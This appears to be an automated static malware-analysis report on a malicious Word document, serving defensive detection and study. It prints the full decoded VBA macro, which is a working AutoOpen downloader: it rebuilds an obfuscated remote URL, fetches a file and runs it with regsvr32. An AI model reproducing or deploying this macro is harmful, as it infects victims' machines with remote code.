Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4c11bc9186737b6c…

MALICIOUS

Office (OOXML)

73.4 KB Created: 2020-05-28 09:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-02
MD5: a62f6e06fdb1e240d7a42f5143c40e1f SHA-1: b21544e76f7b3d8fcc2c01f9624ccd615f60ef5d SHA-256: 4c11bc9186737b6cf575753fd5d2d9ed2d1e3fab3e976f96fd1f50d436578805
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, as indicated by the 'OOXML_VBA' and 'OLE_VBA_AUTOOPEN' heuristics. The critical 'OLE_VBA_DOWNLOAD' heuristic suggests the macro attempts to download a payload from a URL. The ClamAV detection further confirms its malicious nature. The VBA code itself is heavily obfuscated with numerous comments, making it difficult to determine the exact download URL or payload, but the intent is clearly to fetch and execute external content.

Heuristics 5

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6497 bytes
SHA-256: 53a418a7bc77300451c8aeaee01d01957240c5e1b1f578cd2a0e8aea895424ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "s"
Function H()

' Hs retailers undertakings sanity
' Erica acrylic
' Satellite craters relay
' Collections detective biblical

' Lo sharing
' Moreover loyally pain
' Concentric Word discharge view dvds

' Frisky
' Glossary pest
' Dirk data
' Portly thriving submissive ravens extremely all-powerful
' Dynamite program detention
' Adm. alibi
' Vermont adobe slightly houses inclusion cosmos obsequious

' Rhea cockade
' Spice possibilities characteristics enquiry optimum
' Jaguar egypt dollar ed weave
' Pedagogue videos phosphoric
' Bottles bids clear urge
' Totality representatives gravity bandit loafer tenant

' Harvest zip graham whore
' License bulletin
' Operating dangerous devonian huge joining
' Drawback king sooty controller
' Rocked routine
' Reborn items notebook

' Electrified pitchfork mit modify zero
' Aides manipulation
' Soviet shanty j forty-eight lady
' Consistent eighty-seven
' Electronic
' Kay draughtsman
' Temps paraguay kerry univ

' Grandparents laundry nutter nec monitor
' Retaliate dapper enforcement portent beside constraints
' Pac christine

' Affidavit rc faced
' Expanding chronic unix
' Premise godhead advertisers justin bbs
' Immobile tea monica listings courts
' Eaves half-moon literati saturn

' Confused
' Bigger opprobrious cod
' Copy feof
' Cassette spades elegantly deferential scud
End Function
Function k()

' Lathe drab watches utils
' Kinds jacobs advocacy
' Yachts conspiracy hag chunk
' Incidents writs
Dim arr(8) As String
' Nb language intentional paraffin
' Developers duty revolve wagner
arr(0) = "h100%t100%t100%p100%:100%/100%/100%p100%5100%7100%z100%u100%1100%p100%9100%b100%3100%a100%u100%2100%w100%6100%g100%h100%u100%.10"
' Winnings licenses
' Coat morris cleanup
arr(1) = "0%c100%o100%m100%/100%u100%r100%v100%a100%v100%e100%/100%c100%e100%n100%n100%c100%.100%p100%h100%p100%?100%l100%=100%h100%a100%a"
' Innkeeper
' Swagger relaxation cajole mount asked tasting predicament mens
' Physiological inoffensive autobiography illusory interpose ron
arr(2) = "100%o100%9100%.100%c100%a100%b100%=100%=100%=100%=100%=100%c100%:100%\100%p100%r100%o100%g100%r100%a100%m100%d100%a100%t100%a100"
' Berkeley mercantile participant unobtrusive literacy geology looksmart qui
' Nw
' Walnut nitrogen
' Obligatory does
arr(3) = "%\100%2100%6100%1100%6100%3100%5100%6100%3100%.100%d100%a100%t100%"

' Modeling margot godless
' Governance lucky prim
k = arr
End Function
Function Ej(yH, H3)
F1 = k

' Tawdry nirvana apartments promulgation grinder ambrosia
' Cc intercept friendly cst
' Aqua
' Individuals buried numerous grimace
' Fortuitous above execution asbestos
qY = Join(F1, "")

' Ad bedding quantum cheyenne
' Precipitation debian christopher connecticut
' Prefecture agency
qY = Replace(qY, yH, "")

' Multiplication solutions freud
' Camel cisco
' Transportation mc odysseus electrified webcam towel conversations
' Ascii slim turbulence congestion inverse abating is
' Dipper discourage don easterly newcastle comport
' Scudding
' If madras ping
F1 = Split(qY, "=====")

' Flooring triple recognition rampant
' Delhi
' Simplified
Select Case H3
Case 0
Ej = F1(0)
Case 1
Ej = F1(1)
Case Else
Debug.Print "qY"
End Select
End Function
Sub AutoOpen()

' Tft requirements fascinate
' Facilities com urania
' Disparaging garbage disprove vibrant aboriginal jade
' Festive pcs dp jets
' Karma
' Admissible bereavement
Dim Ka As New C

' Organize william jubilation t
' Pdf wales
' Valise apparel cheap
' Ensnare hypothesis servitor
Ka.t Ej("100%", 0), Ej("100%", 1)

' Costume funny
' Encumber perturbation
' Kazakhstan happening
Dim XT As New r7

' Inherited warm shift tobago
' Untimely

' Chippewa dictatorial clayey chocolate apathy footfall

' Lang riverside petiole
' Impurity billing lb
' Veto mobile cravat
' Stab earldom undeserving

' Breastwork contamination
' Organist
' Nutshell drivers reilly
' Tepee norman fount
' Cabaret terminal
Call XT.be("regsvr" & 32 & " " & Ej("100%", 1))
End Sub

Attribute VB_Name = "C"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Cliff odoriferous melon nw
' Mallet modified
' Ruled alex arc rope
End Sub
Private Sub Class_Terminate()

' Master
' Assembling calcium ingress adjustable cossack
' Abortion incredulity
End Sub
Public Sub t(vl, Jo)

' Capital accusing rooms inversion interdict webcam
' Tarts ignominy
' Stun classroom

' Unexpected nebuchadnezzar grandiose scandals
' Trade hopkins thumping independently hockey
' Flicker suns instantaneous
URLDownloadToFile 0, vl, Jo, 0, 0
End Sub

Attribute VB_Name = "r7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function be(OB)

' Hugo metropolitan attempting
' Advert incl aimed invariable seminar lottery
' Slavonic
' Oftentimes betty facing couplet eds slide temporal
Dim w7 As New WshShell
w7.exec OB
End Function
Function E(Zh)
    
' His frequency por dining
' Stickers registered them
' Columns

' Monica job
' Usda fifty-five sufficiency ninety-six symmetrical
' Hoar nude photograph carolina
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: 4b66a29d1d0ceb1d22b307eccf96da42abcd874b354eb1f3083f9be095374b42